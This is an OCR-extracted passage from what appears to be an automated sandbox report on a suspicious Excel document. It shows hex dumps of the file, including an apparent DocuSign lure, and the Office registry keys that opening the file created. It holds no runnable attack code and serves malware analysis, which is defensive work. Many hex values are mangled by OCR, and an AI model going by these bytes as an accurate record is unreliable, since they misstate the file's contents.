79 70 65 73 5d 2e 78 xl/workbook.xml

6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
235 00 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 19 04 00 00 5f
72 65 6¢ 73 2f 2 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 cc 80
35d3 64 01 00 00 ee
05 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 3f 07 00 00
78 6¢ 2f 5f 72 65 6¢
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
93 aa 62 b6 e0 01 00
00 ba 03 00 00 0f 00
00 00 00 00 00 00 00
00 00 00 00 00 e3 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6¢

Completion

success or wait

success or wait

Source

Count Address Symbol

6

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\2EDE0000

C:\Users\user\Desktop\2EDE0000

Copyright null 2020

Offset Length Value

unknown 16384

unknown 16384

09 08 10 00 00 06 05

006732cd07c980 ... \.p....

01 00 06 06 00 00 el
00 02 00 b0 04 c1 00
02 00 00 00 e2 00 00

00 5¢ 00 70 00 02 00 .

002020 20 20 20 20 ....... X.@.....

2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 Oc 00 0a 00 07
00 02 00 03 00 Ob 00
0d 00 ba 01 03 00 00
00 00 9¢ 00 02 00 11
00 19 00 02 00 00 00
12 00 02 00 00 00 13
00 02 00 00 00 af 01
02 00 00 00 bc 01 02
00 00 00 3d 00 12 00
f0 00 69 00 d5 39 4a
1f 38 00 03 00 00 00
01 00 58 02 40 00 02
00 00 00

a4 e0c8c4 le 44 8c

6586 ad 86 17 9e 20 .

27 13f25d e4 a3 23

7a2536b08871ce .!

68 b8 1le712c40a0 . ..

e250e576c5603a ..

10 €9 06 a5 b4 97 98
cc 22 7fa5 10 37 fd
9 4d 9d f4 c7 5 d7
5fde d7 f5d8 cl eb
65 d1 6b d4 02 6f 01
51 b9 88 fe ab aa af
ec f6 82 a8 12 16 ee
2126 18 16 ad 87 83
08 70 35 38292 18
b0 83 24 be ab f4 9a
96 21 af 61 a4 55 af
a8 e0 60 da f4 Oc db
41 a9 02 bf 20 f4 11
d5 0d 39 fa 00 f9 99
0af9 7c 13 bc 42 50
54 €9 9a 86 bb 47 f9
1b 8593 a1 90 fe 75
fd 6a Oe 87 5f 7f 7d
3f 36 ed el d0 da d7
al 39 de 3e 98 Ob d7
ef ed d9 25 90 c3 ab
42 ea5c 79 57 90 87
bd a6 00 db f4 11 06
9d 67 4c 25 e8 c8 6d
dd 2f 70 45 41 69 2c
21 2e b3 40 8a 53 97
78 54 19 45 d6 €8 13
33 7c 44 2f 00 08 d1
58 09 dc 9a 13 cf b7
a7 58 2b f4 9e 92 e5
do 28 6d

Completion

success or wait

success or wait

Source

Count Address Symbol

15

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\2EDE0000

C:\Users\user\Desktop\2EDE0000

Copyright null 2020

Offset Length Value Ascii

unknown 16384

unknown 11794

724a804dcfe2ch rIM..)..+..*.|.Q...27..
29 b0 d0 83 2b b4 a2 \Tg.....".;...-....
8f2ad7a37ce6ca A3.# .
519a83a3d6 3f37 p.ck..b.J
9dalb5c5467a4fd ~..E.\S

1c 0d 2d de 9d a6 06 @...N....v..VS[N...#R..|.EE.
79a64457933d0a 1.....F.2\jH#. . Y. f.l
dac3ce774133d5 ... |v8.I...>
23 8b 22 87 bf e4 a8
0a 28 d6 00 8a dc 7a
ef 6¢ cb d4 ee 55 38
78 9a 14 Oc 26 af 70
a3 63 b6 6b 88 be e2
ae 62 a9 82 4a le de
8a 9f d6 2d 7 40 4f
84 dd b7 de ca 78 8c
5c 7e d9 01 b5 45 9e
b5 fb 5¢c a6 53 b8 ee
b4 fc cc 3a 75 8b 8a
cc 89 c0 12 48 d2 49
28 03 62 67 2e ff 20
c5 6e 73 f1 c4 90 ae
€7 64 9b 94 d2 1f 38
ed 69 d2 1d c1 e0 42
a3 9b 8e 06 8b 40 ef
de 94 4e 9e cc e7 dd
76 ea bb 56 53 5b 4e
e8 e9 f3 23 52 2e a6
49 ee 45 45 00 31 da
ba e0 09 2e 05 04 bd
46 7f 3f d2 5¢ 2c 6a
ad 48 23 ac aa c8 f4
c9 59 fc 20 66 c2 a4
6¢ 80 c9 cc 14 be 92
7c 76 38 d5 21 19 2e
8d 8c 3e

8c 00 8¢ 00 8¢ 00 8¢ .
00 8c 00 8c 00 8¢ 00 .
8c 00 8c 00 8c 00 8¢
00 8c 00 8c 00 8c 00
8c 00 8¢ 00 8¢ 00 8¢
00 8c 00 8c 00 8c 00
8c 00 8c 00 08 02 10 LA
004000000041 00 H..A. ..cccooueun L A....
2c 01 000000 000Q0 .......... J..A

01 0f 00 08 02 10 00

41 00 00 00 41 00 2c

01 00 00 00 00 00 01

0f 00 08 02 10 00 42

00 00 00 41 00 2¢c 01

00 00 00 00 00 01 of

00 08 02 10 00 43 00

00 00 41 00 2c 01 00

00 00 00 00 01 0Of 00

08 02 10 00 44 00 00

00 41 00 2c 01 00 00

00 00 00 01 0f 00 08

02 10 00 45 00 00 00

41 00 2c 01 00 00 00

00 00 01 Of 00 08 02

10 00 46 00 00 00 41

00 2c 01 00 00 00 00

00 01 0f 00 08 02 10

00 47 00 00 00 41 00

2c 01 00 00 00 00 00

01 0f 00 08 02 10 00

48 00 00 00 41 00 2c

01 00 00 00 00 00 01

0f 00 08 02 10 00 49

00 00 00 41 00 2c 01

00 00 00 00 00 01 of

00 08 02 10 00 4a 00

0000 41

Completion

success or wait

success or wait

Source

Count Address Symbol

1

2

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\2EDE0000

C:\Users\user\Desktop\2EDE0000

Copyright null 2020

Offset Length Value Ascii

unknown 16384

unknown 16384

724a804dcfe2ch rIM..)..+..*.|.Q...27..
29 b0 d0 83 2b b4 a2 \Tg.....".;...-....
8f2ad7a37ce6ca A3.# .
519a83a3d6 3f37 p.ck..b.J
9dalb5c5467a4fd ~..E.\S

1c 0d 2d de 9d a6 06 @...N....v..VS[N...#R..|.EE.
79a64457933d0a 1.....F.2\jH#. . Y. f.l
dac3ce774133d5 ... |v8.I....>
23 8b 22 87 bf e4 a8
0a 28 d6 00 8a dc 7a
ef 6¢ cb d4 ee 55 38
78 9a 14 Oc 26 af 70
a3 63 b6 6b 88 be e2
ae 62 a9 82 4a le de
8a 9f d6 2d 7 40 4f
84 dd b7 de ca 78 8c
5c 7e d9 01 b5 45 9e
b5 fb 5¢c a6 53 b8 ee
b4 fc cc 3a 75 8b 8a
cc 89 c0 12 48 d2 49
28 03 62 67 2e ff 20
c5 6e 73 f1 c4 90 ae
c7 64 9b 94 d2 1f 38
ed 69 d2 1d c1 e0 42
a3 9b 8e 06 8b 40 ef
de 94 4e 9e cc e7 dd
76 ea bb 56 53 5b 4e
e8 e9 f3 23 52 2e a6
49 ee 45 45 00 31 da
ba e0 09 2e 05 04 bd
46 7f 3f d2 5¢ 2c 6a
ad 48 23 ac aa c8 f4
c9 59 fc 20 66 c2 a4
6¢ 80 c9 cc 14 be 92
7c 76 38 d5 21 19 2e
8d 8c 3e

8c 00 8¢ 00 8¢ 00 8¢ .
00 8c 00 8c 00 8¢ 00 .
8c 00 8c 00 8c 00 8¢
00 8c 00 8c 00 8c 00
8c 00 8¢ 00 8¢ 00 8¢
00 8c 00 8c 00 8c 00
8c 00 8c 00 08 02 10 LA
004000000041 00 H..A. ..cccooueun L A....
2c 01 000000 000Q0 .......... J..A

01 0f 00 08 02 10 00

41 00 00 00 41 00 2c

01 00 00 00 00 00 01

0f 00 08 02 10 00 42

00 00 00 41 00 2¢c 01

00 00 00 00 00 01 of

00 08 02 10 00 43 00

00 00 41 00 2c 01 00

00 00 00 00 01 0Of 00

08 02 10 00 44 00 00

00 41 00 2c 01 00 00

00 00 00 01 0f 00 08

02 10 00 45 00 00 00

41 00 2c 01 00 00 00

00 00 01 Of 00 08 02

10 00 46 00 00 00 41

00 2c 01 00 00 00 00

00 01 0f 00 08 02 10

00 47 00 00 00 41 00

2c 01 00 00 00 00 00

01 0f 00 08 02 10 00

48 00 00 00 41 00 2c

01 00 00 00 00 00 01

0f 00 08 02 10 00 49

00 00 00 41 00 2c 01

00 00 00 00 00 01 of

00 08 02 10 00 4a 00

0000 41

Completion

success or wait

success or wait

Source

Count Address Symbol

2

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\2EDE0000

C:\Users\user\Desktop\2EDE0000

Copyright null 2020

Offset Length Value

unknown 16384

unknown 200

09 08 10 00 00 06 05
00 67 32 cd 07 c9 80
01 00 06 06 00 00 el
00 02 00 b0 04 c1 00
02 00 00 00 e2 00 00

00 5¢ 00 70 00 02 00 .

00 20 20 20 20 20 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 Oc 00 0a 00 07
00 02 00 03 00 Ob 00
0d 00 ba 01 03 00 00
00 00 9¢ 00 02 00 11
00 19 00 02 00 00 00
12 00 02 00 00 00 13
00 02 00 00 00 af 01
02 00 00 00 bc 01 02
00 00 00 3d 00 12 00
f0 00 69 00 d5 39 4a
1f 38 00 03 00 00 00
01 00 58 02 40 00 02
00 00 00

fe ff 00 00 06 01 02

e \peae

00 00 0000000000 ...

00 00 00 00 00 00 00
00 00 00 01 00 00 00
e0 85 9f f2 f9 4f 68
10 ab 91 08 00 2b 27
b3 d9 30 00 00 00 98
00 00 00 07 00 00 00
01 00 00 00 40 00 00
00 04 00 00 00 48 00
00 00 08 00 00 00 54
00 00 00 12 00 00 00
60 00 00 00 Oc 00 00
00 78 00 00 00 0d 00
00 00 84 00 00 00 13
00 00 00 90 00 00 00
02 00 00 00 e4 04 00
00 1e 00 00 00 04 00
00 00 00000000 1e
00 00 00 04 00 00 00
00 00 00 00 1e 00 00
00 10 00 00 00 4d 69
63 72 6f 73 6f 66 74
20 45 78 63 65 6¢ 00
4000000000c0 7c
0d 23 d9 c6 01 40 00
00 00 00 d7 ce cf 54
c6 d6 01 03 00 00 00
00 00 00 00

..Microsoft Excel.@.....| #...
Q....... B R

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\2EDE0000

C:\Users\user\Desktop\2EDE0000

Copyright null 2020

Offset Length Value Ascii Completion

unknown 328

unknown 3584

Source
Count Address Symbol

feff00 0006 01 02 ....ccooevvveiiiice success or wait 1 7FEEAC59ACO unknown
00 00 00 00 00 00 00
00 00 00 00 00 00 00 H..
00 00 00 01 00 00 00 ..h.
02 d5 cd d5 9c 2e 1b
1093 97 08 00 2b 2c
f9 ae 30 00 00 00 18 DocusSign..
01 00 00 08 00 00 QO ..... 3
01 000000480000 ..A4...........
00 17 00 00 00 50 00

00 00 Ob 00 00 00 58

00 00 00 10 00 00 00

60 00 00 00 13 00 00

00 68 00 00 00 16 00

00 00 70 00 00 00 Od

00 00 00 78 00 00 00

Oc 00 00 00 d3 00 00

00 02 00 00 00 €9 fd

00 00 03 00 00 00 00

00 Oe 00 Ob 00 00 00

00 00 00 00 Ob 00 00

00 00 00 00 00 Ob 00

00 00 00 00 00 00 Ob

00 00 00 00 00 00 00

1e 10 00 00 06 00 00

00 09 00 00 00 44 6f

63 75 53 69 67 6e 00

0a 00 00 00 dO 9b dO

b8 d1 81 d1 82 32 00

0a 00 00 00 dO 9b dO

b8 d1 81 d1 82 33 00

0a 00 00 00 dO 9b dO

b8 d1 81 d1 82 31 00

0a 00 00 00 dO 9b dO

b8 d1 81 d1 82 34 00

0a 00 00 00 dO 9b dO

b8 d1 81

01 00 00 00 02 00 00 .
00 03 00 00 00 04 00 .
00 00 05 00 00 0006 .
00 00 00 07 00 00 00 .
08 00 00 00 09 00 00
00 0a 00 00 00 Ob 00
00000c0000000d ..../...0...1...2.
00 00 00 Oe 00 00 00 ..6.

0f 00 00 00 10 00 00
0011 00 00 00 12 00
00 00 13 00 00 00 14
00 00 00 15 00 00 00
16 00 00 00 17 00 0O
00 18 00 00 00 19 00
00 00 1a 00 00 00 1b
00 00 00 1c 00 00 00
1d 00 00 00 1e 00 00
00 1f 00 00 00 20 00
00 00 21 00 00 00 22
00 00 00 23 00 00 00
2400 00 00 25 00 00
00 26 00 00 00 27 00
00 00 28 00 00 00 29
00 00 00 2a 00 00 00
2b 00 00 00 2c 00 00
00 2d 00 00 00 2e 00
00 00 2f 00 00 00 30
00 00 00 31 00 00 00
32 00 00 00 33 00 00
00 34 00 00 00 35 00
00 00 36 00 00 00 37
00 00 00 38 00 00 00
39 00 00 00 3a 00 00
00 3b 00 00 00 3c 00
00 00 3d 00 00 00 3e
00 00 00 3f 00 00 00
40 00 00

success or wait 1 7FEEAC59ACO unknown
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\Desktop\2EDE0000 unknown 512 docflle0alblla ...covoenene > success or wait 1 7FEEAC59ACO unknown
e1 00 00 00 00 00 00 .
00 00 00 00 00 00 00 .
00 00 00 3e 00 03 00 .
fe ff 09 00 06 00 00
00 00 00 00 00 00 00 .
00 00 06 00 00 00 93 .
02 00 00 00 00 00 00 .
00 10 00 00 fe ff ff ff .....ccceee
00 00 00 00 fe ff ff ff
00 00 00 00 8d 02 00
00 8e 02 00 00 8f 02
00 00 90 02 00 00 91
02 00 00 92 02 00 00
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff f ff ff ff ff ff
ff ff ff ff ff f ff ff ff ff ff
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff f ff ff ff
ff ff ff ff ff ff f ff ff ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff f ff ff ff ff ff
ff ff ff ff ff f ff ff ff ff ff
ff
File Read
Source
File Path Offset Length Completion Count Address Symbol
C:\Users\user\Desktop\2EDE0000 unknown 16384 success or wait 2 7FEEAC59ACO unknown
C:\Users\user\Desktop\2EDE0000 unknown 16384 success or wait 2 7FEEAC59ACO unknown
C:\Users\user\Desktop\2EDE0000 unknown 16384 success or wait 1 7FEEAC59ACO unknown
Registry Activities
Key Created
Source
Key Path Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency success or wait 5 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery success or wait 5 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDAF4 success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDBBF success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDC3C success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDEOO success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EDE7D success or wait 1 7FEEAC59ACO unknown
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems success or wait 1 7FEEAC59ACO unknown
Key Value Created
Source
Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 3 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 3 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 3 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk
top\8878498721 .xIsx
HKEY_CURRENT_USER\Software\Mic ltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 3 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk
top\3771420242.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 3 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk
top\5795694722.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 4 unicode [FO0000000][T01D1BB6D4B429860] success or wait 3 7FEEAC59ACO unknown

rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

Copyright null 2020 Page 28 of 36



Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2020

Name

Item 5

Iltem 6

Iltem 7

Iltem 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\EDAF4

Copyright null 2020

Name

EDAF4

Type

binary

Data

04 00 00 00 50 09 00 00 39 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 32 00 2E 00 35 00 30 00 2E 00
30 00 2E 00 73 00 68 00 65 00 65 00 74
00 2E 00 63 00 73 00 76 00 00 00 00 00
2200 00 00 43 00 3A 00 5C 00 55 00 73
00 65 00 72 00 73 00 5C 00 41 00 6C 00
62 00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00 65
00 6D 00 70 00 5C 00 01 00 00 00 01 00
00 00 22 14 DO CB 54 C6 D6 01 F4 DA
OE 00 F4 DA OE 00 00 00 00 00 B8 02
00 00 OA 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

Completion

success or wait

Source

Count Address Symbol

1

7FEEAC59ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\EDBBF

Copyright null 2020

Name

EDBBF

Type

binary

Data

04 00 00 00 50 09 00 00 39 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 35 00 2E 00 34 00 39 00 2E 00
33 00 2E 00 73 00 68 00 65 00 65 00 74
00 2E 00 63 00 73 00 76 00 00 00 00 00
2200 00 00 43 00 3A 00 5C 00 55 00 73
00 65 00 72 00 73 00 5C 00 41 00 6C 00
62 00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00 65
00 6D 00 70 00 5C 00 01 00 00 00 01 00
00 00 8B 24 62 CF 54 C6 D6 01 BF DB
OE 00 BF DB OE 00 00 00 00 00 B8 02
00 00 OA 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
